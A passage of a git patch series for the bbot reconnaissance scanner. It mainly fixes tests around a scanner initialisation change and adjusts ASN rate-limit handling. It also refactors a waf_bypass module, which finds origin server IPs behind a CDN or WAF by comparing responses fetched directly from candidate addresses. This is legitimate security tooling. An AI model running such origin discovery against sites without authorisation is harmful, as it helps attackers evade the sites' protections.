scan2.load_modules() + await scan2._prep() scan2.status = "RUNNING" # attributes, descriptions, etc. diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index c5222d9591..dd883c33e2 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -18,7 +18,7 @@ async def test_scan( blacklist=["1.1.1.1/28", "www.evilcorp.com"], modules=["ipneighbor"], ) - await scan0.load_modules() + await scan0._prep() assert scan0.whitelisted("1.1.1.1") assert scan0.whitelisted("1.1.1.0") assert scan0.blacklisted("1.1.1.15") From 4f65a4649e60c29e3524449407c942da645d0b33 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Sep 2025 11:37:40 -0400 Subject: [PATCH 055/129] fixing slop --- bbot/cli.py | 4 +++- bbot/scanner/scanner.py | 10 ++++++---- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index b8e262ee64..2cab597af5 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -35,7 +35,9 @@ async def _main(): from contextlib import suppress # fix tee buffering - sys.stdout.reconfigure(line_buffering=True) + # only reconfigure if stdout has the method (not the case when redirected in tests) + if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(line_buffering=True) log = logging.getLogger("bbot.cli") diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 1c890b432a..39d4a43ff5 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -193,9 +193,6 @@ async def _prep(self): self._status = "NOT_STARTED" self._status_code = 0 - self.modules = OrderedDict({}) - self.dummy_modules = {} - if self._dispatcher_arg is None: from .dispatcher import Dispatcher @@ -279,6 +276,10 @@ async def _prep(self): self.helpers.mkdir(self.home) if not self._prepped: + # clear modules for fresh start + self.modules = OrderedDict({}) + self.dummy_modules = {} + # save scan preset with open(self.home / "preset.yml", "w") as f: f.write(self.preset.to_yaml()) @@ -345,7 +346,8 @@ async def async_start(self): """ """ self.start_time = datetime.now() try: - await self._prep() + if not self._prepped: + await self._prep() self.root_event.data["started_at"] = self.start_time.isoformat() self._start_log_handlers() From d8a5a64dbef786c80c23a9c6adfc3729d1d2cc34 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Sep 2025 11:53:10 -0400 Subject: [PATCH 056/129] more reworking around the prep() change --- bbot/scanner/scanner.py | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 39d4a43ff5..1f0e8c3072 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -150,6 +150,15 @@ def __init__( raise ValidationError(f'Preset must be of type Preset, not "{type(custom_preset).__name__}"') self._unbaked_preset.merge(custom_preset) + self._prepped = False + self._finished_init = False + self._new_activity = False + self._cleanedup = False + self._omitted_event_types = None + self.modules = OrderedDict({}) + self.dummy_modules = {} + self.preset = None + async def _prep(self): """ Creates the scan's output folder, loads its modules, and calls their .setup() methods. @@ -250,12 +259,6 @@ async def _prep(self): self.stats = ScanStats(self) - self._prepped = False - self._finished_init = False - self._new_activity = False - self._cleanedup = False - self._omitted_event_types = None - self.init_events_task = None self.ticker_task = None self.dispatcher_tasks = [] @@ -277,8 +280,8 @@ async def _prep(self): self.helpers.mkdir(self.home) if not self._prepped: # clear modules for fresh start - self.modules = OrderedDict({}) - self.dummy_modules = {} + self.modules.clear() + self.dummy_modules.clear() # save scan preset with open(self.home / "preset.yml", "w") as f: From 3507d0050e2b4e72df246509c2ceb0d3ba793fd0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Sep 2025 12:17:30 -0400 Subject: [PATCH 057/129] more test fixing --- bbot/test/test_step_1/test_depsinstaller.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/test/test_step_1/test_depsinstaller.py b/bbot/test/test_step_1/test_depsinstaller.py index 9dff1c0281..76a363ae5d 100644 --- a/bbot/test/test_step_1/test_depsinstaller.py +++ b/bbot/test/test_step_1/test_depsinstaller.py @@ -6,6 +6,7 @@ async def test_depsinstaller(monkeypatch, bbot_scanner): scan = bbot_scanner( "127.0.0.1", ) + await scan._prep() # test shell test_file = Path("/tmp/test_file") From 06b8de5e615a248bdc86736174b8b308c3e7ee86 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Sep 2025 13:01:56 -0400 Subject: [PATCH 058/129] more test fixes --- bbot/test/test_step_1/test_dns.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 5a78cc1427..33165c7667 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -169,6 +169,7 @@ async def test_dns_resolution(bbot_scanner): assert "a-record" not in resolved_hosts_event2.tags scan2 = bbot_scanner("evilcorp.com", config={"dns": {"minimal": False}}) + await scan2._prep() await scan2.helpers.dns._mock_dns( { "evilcorp.com": {"TXT": ['"v=spf1 include:cloudprovider.com ~all"']}, From 32efd2e12fd5d75c9bee0adb76df4b18c68a5bd7 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Sep 2025 13:36:09 -0400 Subject: [PATCH 059/129] rate-limit use retry-after --- bbot/core/helpers/asn.py | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index d2b5119d60..2067b4ac63 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -29,15 +29,23 @@ def __init__(self, parent_helper): } async def _request_with_retry(self, url, max_retries=10): - """Make request with retry for 429 responses.""" + """Make request with retry for 429 responses using Retry-After header.""" for attempt in range(max_retries + 1): response = await self.parent_helper.request(url, timeout=15) if response is None or getattr(response, "status_code", 0) != 429: return response if attempt < max_retries: - delay = min(2**attempt, 300) - log.debug(f"ASN API rate limited, waiting {delay}s (attempt {attempt + 1})") + # Get retry-after header value, default to 1 second if not present + retry_after = getattr(response, "headers", {}).get("retry-after", "1") + try: + delay = int(retry_after) + 1 + except (ValueError, TypeError): + delay = 2 # fallback if header is invalid + + log.debug( + f"ASN API rate limited, waiting {delay}s (retry-after: {retry_after}) (attempt {attempt + 1})" + ) await asyncio.sleep(delay) else: log.warning(f"ASN API gave up after {max_retries + 1} attempts due to rate limiting") From 0c43022d557289ff6a7625ccd189b4f7b8b0fb48 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Sep 2025 13:43:09 -0400 Subject: [PATCH 060/129] more test fixes --- bbot/test/test_step_1/test_dns.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 33165c7667..7e1e8aed8f 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -188,6 +188,7 @@ async def test_dns_resolution(bbot_scanner): @pytest.mark.asyncio async def test_wildcards(bbot_scanner): scan = bbot_scanner("1.1.1.1") + await scan._prep() helpers = scan.helpers from bbot.core.helpers.dns.engine import DNSEngine, all_rdtypes @@ -262,6 +263,7 @@ def custom_lookup(query, rdtype): "speculate": True, }, ) + await scan._prep() await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) events = [e async for e in scan.async_start()] @@ -319,6 +321,7 @@ def custom_lookup(query, rdtype): "speculate": True, }, ) + await scan._prep() await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) events = [e async for e in scan.async_start()] @@ -416,6 +419,7 @@ def custom_lookup(query, rdtype): }, }, ) + await scan._prep() await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) events = [e async for e in scan.async_start()] @@ -493,6 +497,7 @@ def custom_lookup(query, rdtype): } scan = bbot_scanner("1.1.1.1") + await scan._prep() helpers = scan.helpers # event resolution From ee844c64772a6b040ea0ecdbd5e2e62c9a6fb5cd Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Sep 2025 13:51:08 -0400 Subject: [PATCH 061/129] use correct method --- bbot/modules/waf_bypass.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 1a800ec257..25be59110f 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -189,7 +189,7 @@ async def handle_event(self, event): for ip in dns_response: self.debug(f"Getting ASN info for IP {ip} from non-CloudFlare domain {domain}") - asns = await self.helpers.asn.get(str(ip)) + asns = await self.helpers.asn.ip_to_subnets(str(ip)) if asns: for asn_info in asns: subnets = asn_info.get("subnets") From 1b1221494757b0a6be4a7c453f5e9926bdb5d265 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Sep 2025 14:39:01 -0400 Subject: [PATCH 062/129] change to new function name --- bbot/modules/waf_bypass.py | 2 +- bbot/test/test_step_2/module_tests/test_module_waf_bypass.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 25be59110f..1f52db6bb5 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -268,7 +268,7 @@ async def finish(self): if self.search_ip_neighbors and ip not in self.cloud_ips: import ipaddress - orig_asns = await self.helpers.asn.get(str(ip)) + orig_asns = await self.helpers.asn.ip_to_subnets(str(ip)) if orig_asns: neighbor_net = ipaddress.ip_network(f"{ip}/{self.neighbor_cidr}", strict=False) for neighbor_ip in neighbor_net.hosts(): diff --git a/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py index b695fad764..da812633bb 100644 --- a/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py +++ b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py @@ -75,7 +75,7 @@ async def setup_after_prep(self, module_test): self.dummy_module = self.DummyModule(module_test.scan) module_test.scan.modules["dummy_module"] = self.dummy_module - module_test.monkeypatch.setattr(ASNHelper, "asndb_url", "http://127.0.0.1:8888/v1/ip/") + module_test.monkeypatch.setattr(ASNHelper, "asndb_ip_url", "http://127.0.0.1:8888/v1/ip/") expect_args = {"method": "GET", "uri": "/v1/ip/127.0.0.2"} respond_args = { From 6effa6b21da31f177c12e334418bb46839750d5b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Sep 2025 15:28:34 -0400 Subject: [PATCH 063/129] fix asn helper access --- bbot/modules/waf_bypass.py | 55 +++++++++++++++++++------------------- 1 file changed, 27 insertions(+), 28 deletions(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 1f52db6bb5..26d8710a7a 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -147,34 +147,32 @@ async def handle_event(self, event): # Get CIDRs from the base domain of the protected domain base_dns = await self.helpers.dns.resolve(base_domain) - if base_dns: - # Skip if base domain has same IPs as protected domain - if set(str(ip) for ip in base_dns) == self.domain_ips.get(domain, set()): - self.debug(f"Base domain {base_domain} has same IPs as protected domain, skipping CIDR collection") - else: - if base_domain not in self.bypass_candidates: - self.bypass_candidates[base_domain] = set() - self.debug(f"Created new CIDR set for {provider_name} base domain: {base_domain}") - - for ip in base_dns: - self.debug(f"Getting ASN info for IP {ip} from {provider_name} base domain {base_domain}") - asns = await self.helpers.asn.ip_to_subnets(str(ip)) - if asns: - for asn_info in asns: - subnets = asn_info.get("subnets") - if isinstance(subnets, str): - subnets = [subnets] - if subnets: - for cidr in subnets: - self.bypass_candidates[base_domain].add(cidr) - self.debug( - f"Added CIDR {cidr} from {provider_name} base domain {base_domain} " - f"(ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})" - ) - else: - self.warning(f"No ASN info found for IP {ip}") - else: + if not base_dns: self.debug(f"WARNING: No DNS resolution for {provider_name} base domain {base_domain}") + if base_dns and (set(str(ip) for ip in base_dns) == self.domain_ips.get(domain, set())): + self.debug(f"Base domain {base_domain} has same IPs as protected domain, skipping CIDR collection") + else: + if base_domain not in self.bypass_candidates: + self.bypass_candidates[base_domain] = set() + self.debug(f"Created new CIDR set for {provider_name} base domain: {base_domain}") + + for ip in base_dns: + self.debug(f"Getting ASN info for IP {ip} from {provider_name} base domain {base_domain}") + asns = await self.helpers.asn.ip_to_subnets(str(ip)) + if asns: + for asn_info in asns: + subnets = asn_info.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + if subnets: + for cidr in subnets: + self.bypass_candidates[base_domain].add(cidr) + self.debug( + f"Added CIDR {cidr} from {provider_name} base domain {base_domain} " + f"(ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})" + ) + else: + self.warning(f"No ASN info found for IP {ip}") else: if "cdn-ip" in event.tags: @@ -254,6 +252,7 @@ async def finish(self): # Then collect non-CloudFlare IPs for domain, ips in self.domain_ips.items(): + self.debug(f"Checking IP {ips} from domain {domain}") if domain not in self.protected_domains: # If it's not a protected domain for ip in ips: # Validate that this is actually an IP address before processing @@ -275,7 +274,7 @@ async def finish(self): n_ip_str = str(neighbor_ip) if n_ip_str == ip or n_ip_str in cloudflare_ips or n_ip_str in all_ips: continue - asns_neighbor = await self.helpers.asn.get(n_ip_str) + asns_neighbor = await self.helpers.asn.ip_to_subnets(n_ip_str) if not asns_neighbor: continue # Check if any ASN matches From 80789b0351a082231e690ba0a62259ccb7b8dfab Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Sep 2025 15:38:29 -0400 Subject: [PATCH 064/129] yet more test fixes --- bbot/core/helpers/asn.py | 2 ++ bbot/test/test_step_1/test_dns.py | 7 +++++++ 2 files changed, 9 insertions(+) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 2067b4ac63..6d1136cf06 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -33,9 +33,11 @@ async def _request_with_retry(self, url, max_retries=10): for attempt in range(max_retries + 1): response = await self.parent_helper.request(url, timeout=15) if response is None or getattr(response, "status_code", 0) != 429: + log.debug(f"ASN API request successful, status code: {getattr(response, 'status_code', 0)}") return response if attempt < max_retries: + log.debug(f"ASN API rate limited, attempt {attempt + 1}") # Get retry-after header value, default to 1 second if not present retry_after = getattr(response, "headers", {}).get("retry-after", "1") try: diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 7e1e8aed8f..2a81b795f7 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -664,6 +664,7 @@ async def handle_event(self, event): scan = bbot_scanner( "evilcorp.com", config={"dns": {"minimal": False, "wildcard_ignore": []}, "omit_event_types": []} ) + await scan._prep() await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup) dummy_module = DummyModule(scan) scan.modules["dummy_module"] = dummy_module @@ -689,8 +690,10 @@ async def handle_event(self, event): # scan without omitted event type scan = bbot_scanner("one.one.one.one", "1.1.1.1", config={"dns": {"minimal": False}, "omit_event_types": []}) + await scan._prep() await scan.helpers.dns._mock_dns(mock_records) dummy_module = DummyModule(scan) + await dummy_module.setup() scan.modules["dummy_module"] = dummy_module events = [e async for e in scan.async_start()] assert 1 == len([e for e in events if e.type == "RAW_DNS_RECORD"]) @@ -722,8 +725,10 @@ async def handle_event(self, event): ) # scan with omitted event type scan = bbot_scanner("one.one.one.one", config={"dns": {"minimal": False}, "omit_event_types": ["RAW_DNS_RECORD"]}) + await scan._prep() await scan.helpers.dns._mock_dns(mock_records) dummy_module = DummyModule(scan) + await dummy_module.setup() scan.modules["dummy_module"] = dummy_module events = [e async for e in scan.async_start()] # no raw records should be emitted @@ -733,8 +738,10 @@ async def handle_event(self, event): # scan with watching module DummyModule.watched_events = ["RAW_DNS_RECORD"] scan = bbot_scanner("one.one.one.one", config={"dns": {"minimal": False}, "omit_event_types": ["RAW_DNS_RECORD"]}) + await scan._prep() await scan.helpers.dns._mock_dns(mock_records) dummy_module = DummyModule(scan) + await dummy_module.setup() scan.modules["dummy_module"] = dummy_module events = [e async for e in scan.async_start()] # no raw records should be output From 7a2bc99c6026edd3308f5bca5bfc4acb9df20882 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Sep 2025 16:17:51 -0400 Subject: [PATCH 065/129] yet even still more test fixes --- bbot/test/test_step_1/test_dns.py | 3 +++ bbot/test/test_step_1/test_events.py | 3 ++- bbot/test/test_step_1/test_manager_deduplication.py | 1 + bbot/test/test_step_1/test_modules_basic.py | 1 + bbot/test/test_step_1/test_scan.py | 5 +++++ 5 files changed, 12 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 2a81b795f7..3f69ee872b 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -765,6 +765,7 @@ async def handle_event(self, event): @pytest.mark.asyncio async def test_dns_graph_structure(bbot_scanner): scan = bbot_scanner("https://evilcorp.com", config={"dns": {"search_distance": 1, "minimal": False}}) + await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": { @@ -793,6 +794,7 @@ async def test_dns_graph_structure(bbot_scanner): @pytest.mark.asyncio async def test_hostname_extraction(bbot_scanner): scan = bbot_scanner("evilcorp.com", config={"dns": {"minimal": False}}) + await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": { @@ -839,6 +841,7 @@ async def test_dns_helpers(bbot_scanner): # make sure system nameservers are excluded from use by DNS brute force brute_nameservers = tempwordlist(["1.2.3.4", "8.8.4.4", "4.3.2.1", "8.8.8.8"]) scan = bbot_scanner(config={"dns": {"brute_nameservers": brute_nameservers}}) + await scan._prep() scan.helpers.dns.system_resolvers = ["8.8.8.8", "8.8.4.4"] resolver_file = await scan.helpers.dns.brute.resolver_file() resolvers = set(scan.helpers.read_file(resolver_file)) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 64bd060bf8..d292e1f578 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -633,6 +633,7 @@ async def test_event_discovery_context(): from bbot.modules.base import BaseModule scan = Scanner("evilcorp.com") + await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": {"A": ["1.2.3.4"]}, @@ -642,7 +643,6 @@ async def test_event_discovery_context(): "four.evilcorp.com": {"A": ["1.2.3.4"]}, } ) - await scan._prep() dummy_module_1 = scan._make_dummy_module("module_1") dummy_module_2 = scan._make_dummy_module("module_2") @@ -792,6 +792,7 @@ async def handle_event(self, event): # test to make sure this doesn't come back # https://github.com/blacklanternsecurity/bbot/issues/1498 scan = Scanner("http://blacklanternsecurity.com", config={"dns": {"minimal": False}}) + await scan._prep() await scan.helpers.dns._mock_dns( {"blacklanternsecurity.com": {"TXT": ["blsops.com"], "A": ["127.0.0.1"]}, "blsops.com": {"A": ["127.0.0.1"]}} ) diff --git a/bbot/test/test_step_1/test_manager_deduplication.py b/bbot/test/test_step_1/test_manager_deduplication.py index 65fbaeb172..3726adab9d 100644 --- a/bbot/test/test_step_1/test_manager_deduplication.py +++ b/bbot/test/test_step_1/test_manager_deduplication.py @@ -48,6 +48,7 @@ class PerDomainOnly(DefaultModule): async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs): scan = bbot_scanner(*args, config=_config, **kwargs) + await scan._prep() default_module = DefaultModule(scan) everything_module = EverythingModule(scan) no_suppress_dupes = NoSuppressDupes(scan) diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index 332d84b662..ef0959e9df 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -364,6 +364,7 @@ async def handle_event(self, event): output_modules=["python"], force_start=True, ) + await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": {"A": ["127.0.254.1"]}, diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index dd883c33e2..4be1310a2d 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -65,6 +65,7 @@ async def test_scan( # make sure DNS resolution works scan4 = bbot_scanner("1.1.1.1", config={"dns": {"minimal": False}}) + await scan4._prep() await scan4.helpers.dns._mock_dns(dns_table) events = [] async for event in scan4.async_start(): @@ -74,6 +75,7 @@ async def test_scan( # make sure it doesn't work when you turn it off scan5 = bbot_scanner("1.1.1.1", config={"dns": {"minimal": True}}) + await scan5._prep() await scan5.helpers.dns._mock_dns(dns_table) events = [] async for event in scan5.async_start(): @@ -184,6 +186,7 @@ async def test_python_output_matches_json(bbot_scanner): "blacklanternsecurity.com", config={"speculate": True, "dns": {"minimal": False}, "scope": {"report_distance": 10}}, ) + await scan._prep() await scan.helpers.dns._mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.1"]}}) events = [e.json() async for e in scan.async_start()] output_json = scan.home / "output.json" @@ -232,6 +235,7 @@ async def test_exclude_cdn(bbot_scanner, monkeypatch): # first, run a scan with no CDN exclusion scan = bbot_scanner("evilcorp.com") + await scan._prep() await scan.helpers._mock_dns(dns_mock) from bbot.modules.base import BaseModule @@ -266,6 +270,7 @@ async def handle_event(self, event): preset.parse_args() assert preset.bake().to_yaml() == "modules:\n- portfilter\n" scan = bbot_scanner("evilcorp.com", preset=preset) + await scan._prep() await scan.helpers._mock_dns(dns_mock) dummy = DummyModule(scan=scan) await scan._prep() From d48399705439a7a34e65ef7cdc9d734b799a78fc Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 22 Sep 2025 16:18:14 -0400 Subject: [PATCH 066/129] slightly change waf_bypass detection criteria --- bbot/modules/waf_bypass.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 26d8710a7a..7fb7991f27 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -230,12 +230,23 @@ async def check_ip(self, ip, source_domain, protected_domain, source_event): self.debug(f"Failed to get content through IP {ip} for URL {matching_url}") return None + if original_response["http_code"] != bypass_response["http_code"]: + self.debug(f"Ignoring code difference {original_response['http_code']} != {bypass_response['http_code']}") + return None + + is_redirect = False + if bypass_response["http_code"] == 301 or bypass_response["http_code"] == 302: + is_redirect = True + similarity = self.helpers.web.text_similarity( original_response["response_data"], bypass_response["response_data"], similarity_cache=self.similarity_cache, ) - return (matching_url, ip, similarity, source_event) if similarity >= self.similarity_threshold else None + + # For redirects, require exact match (1.0), otherwise use configured threshold + required_threshold = 1.0 if is_redirect else self.similarity_threshold + return (matching_url, ip, similarity, source_event) if similarity >= required_threshold else None async def finish(self): self.debug(f"Found {len(self.protected_domains)} Protected Domains") From 89158559f1c08b6440b51f431f0a94d5f6185959 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Sep 2025 11:43:42 -0400 Subject: [PATCH 067/129] massive test fixes (from prep() changes) --- bbot/cli.py | 4 +--- bbot/test/test_step_1/test_dns.py | 2 -- bbot/test/test_step_1/test_events.py | 3 +-- .../test_step_1/test_manager_deduplication.py | 1 - bbot/test/test_step_1/test_modules_basic.py | 9 +++++++-- bbot/test/test_step_1/test_scan.py | 6 +----- bbot/test/test_step_1/test_scope.py | 3 +++ bbot/test/test_step_1/test_target.py | 2 ++ .../module_tests/test_module_affiliates.py | 2 +- .../module_tests/test_module_aggregate.py | 2 +- .../module_tests/test_module_asn.py | 6 +++--- .../test_module_asset_inventory.py | 2 +- .../module_tests/test_module_bucket_azure.py | 10 ++++++---- .../module_tests/test_module_c99.py | 4 ++-- .../module_tests/test_module_dehashed.py | 4 ++-- .../module_tests/test_module_dotnetnuke.py | 20 +++++++++++++------ .../module_tests/test_module_generic_ssrf.py | 16 +++++++++++---- .../module_tests/test_module_github_org.py | 4 +++- .../module_tests/test_module_host_header.py | 2 +- .../module_tests/test_module_lightfuzz.py | 2 +- .../module_tests/test_module_neo4j.py | 2 +- .../module_tests/test_module_nmap_xml.py | 2 +- .../module_tests/test_module_portfilter.py | 2 +- .../module_tests/test_module_shodan_dns.py | 2 +- .../module_tests/test_module_shodan_idb.py | 2 +- .../module_tests/test_module_speculate.py | 2 +- .../test_module_subdomainradar.py | 2 +- .../module_tests/test_module_virtualhost.py | 17 ++++++++-------- .../test_template_subdomain_enum.py | 2 +- 29 files changed, 78 insertions(+), 59 deletions(-) diff --git a/bbot/cli.py b/bbot/cli.py index 2cab597af5..b8e262ee64 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -35,9 +35,7 @@ async def _main(): from contextlib import suppress # fix tee buffering - # only reconfigure if stdout has the method (not the case when redirected in tests) - if hasattr(sys.stdout, "reconfigure"): - sys.stdout.reconfigure(line_buffering=True) + sys.stdout.reconfigure(line_buffering=True) log = logging.getLogger("bbot.cli") diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 3f69ee872b..1852819a5c 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -794,7 +794,6 @@ async def test_dns_graph_structure(bbot_scanner): @pytest.mark.asyncio async def test_hostname_extraction(bbot_scanner): scan = bbot_scanner("evilcorp.com", config={"dns": {"minimal": False}}) - await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": { @@ -841,7 +840,6 @@ async def test_dns_helpers(bbot_scanner): # make sure system nameservers are excluded from use by DNS brute force brute_nameservers = tempwordlist(["1.2.3.4", "8.8.4.4", "4.3.2.1", "8.8.8.8"]) scan = bbot_scanner(config={"dns": {"brute_nameservers": brute_nameservers}}) - await scan._prep() scan.helpers.dns.system_resolvers = ["8.8.8.8", "8.8.4.4"] resolver_file = await scan.helpers.dns.brute.resolver_file() resolvers = set(scan.helpers.read_file(resolver_file)) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index d292e1f578..64bd060bf8 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -633,7 +633,6 @@ async def test_event_discovery_context(): from bbot.modules.base import BaseModule scan = Scanner("evilcorp.com") - await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": {"A": ["1.2.3.4"]}, @@ -643,6 +642,7 @@ async def test_event_discovery_context(): "four.evilcorp.com": {"A": ["1.2.3.4"]}, } ) + await scan._prep() dummy_module_1 = scan._make_dummy_module("module_1") dummy_module_2 = scan._make_dummy_module("module_2") @@ -792,7 +792,6 @@ async def handle_event(self, event): # test to make sure this doesn't come back # https://github.com/blacklanternsecurity/bbot/issues/1498 scan = Scanner("http://blacklanternsecurity.com", config={"dns": {"minimal": False}}) - await scan._prep() await scan.helpers.dns._mock_dns( {"blacklanternsecurity.com": {"TXT": ["blsops.com"], "A": ["127.0.0.1"]}, "blsops.com": {"A": ["127.0.0.1"]}} ) diff --git a/bbot/test/test_step_1/test_manager_deduplication.py b/bbot/test/test_step_1/test_manager_deduplication.py index 3726adab9d..65fbaeb172 100644 --- a/bbot/test/test_step_1/test_manager_deduplication.py +++ b/bbot/test/test_step_1/test_manager_deduplication.py @@ -48,7 +48,6 @@ class PerDomainOnly(DefaultModule): async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs): scan = bbot_scanner(*args, config=_config, **kwargs) - await scan._prep() default_module = DefaultModule(scan) everything_module = EverythingModule(scan) no_suppress_dupes = NoSuppressDupes(scan) diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index ef0959e9df..0b4879a764 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -13,9 +13,8 @@ async def test_modules_basic_checks(events, httpx_mock): from bbot.scanner import Scanner scan = Scanner(config={"omit_event_types": ["URL_UNVERIFIED"]}) - assert "URL_UNVERIFIED" in scan.omitted_event_types - await scan._prep() + assert "URL_UNVERIFIED" in scan.omitted_event_types # output module specific event filtering tests base_output_module_1 = BaseOutputModule(scan) @@ -238,6 +237,8 @@ class mod_domain_only(BaseModule): force_start=True, ) + await scan._prep() + scan.modules["mod_normal"] = mod_normal(scan) scan.modules["mod_host_only"] = mod_host_only(scan) scan.modules["mod_hostport_only"] = mod_hostport_only(scan) @@ -364,7 +365,9 @@ async def handle_event(self, event): output_modules=["python"], force_start=True, ) + await scan._prep() + await scan.helpers.dns._mock_dns( { "evilcorp.com": {"A": ["127.0.254.1"]}, @@ -440,6 +443,8 @@ async def handle_event(self, event): assert speculate_stats.consumed == {"URL": 1, "DNS_NAME": 3, "URL_UNVERIFIED": 1, "IP_ADDRESS": 3} assert speculate_stats.consumed_total == 8 + await scan._cleanup() + @pytest.mark.asyncio async def test_module_loading(bbot_scanner): diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 4be1310a2d..df7c6e7d23 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -65,7 +65,6 @@ async def test_scan( # make sure DNS resolution works scan4 = bbot_scanner("1.1.1.1", config={"dns": {"minimal": False}}) - await scan4._prep() await scan4.helpers.dns._mock_dns(dns_table) events = [] async for event in scan4.async_start(): @@ -75,7 +74,6 @@ async def test_scan( # make sure it doesn't work when you turn it off scan5 = bbot_scanner("1.1.1.1", config={"dns": {"minimal": True}}) - await scan5._prep() await 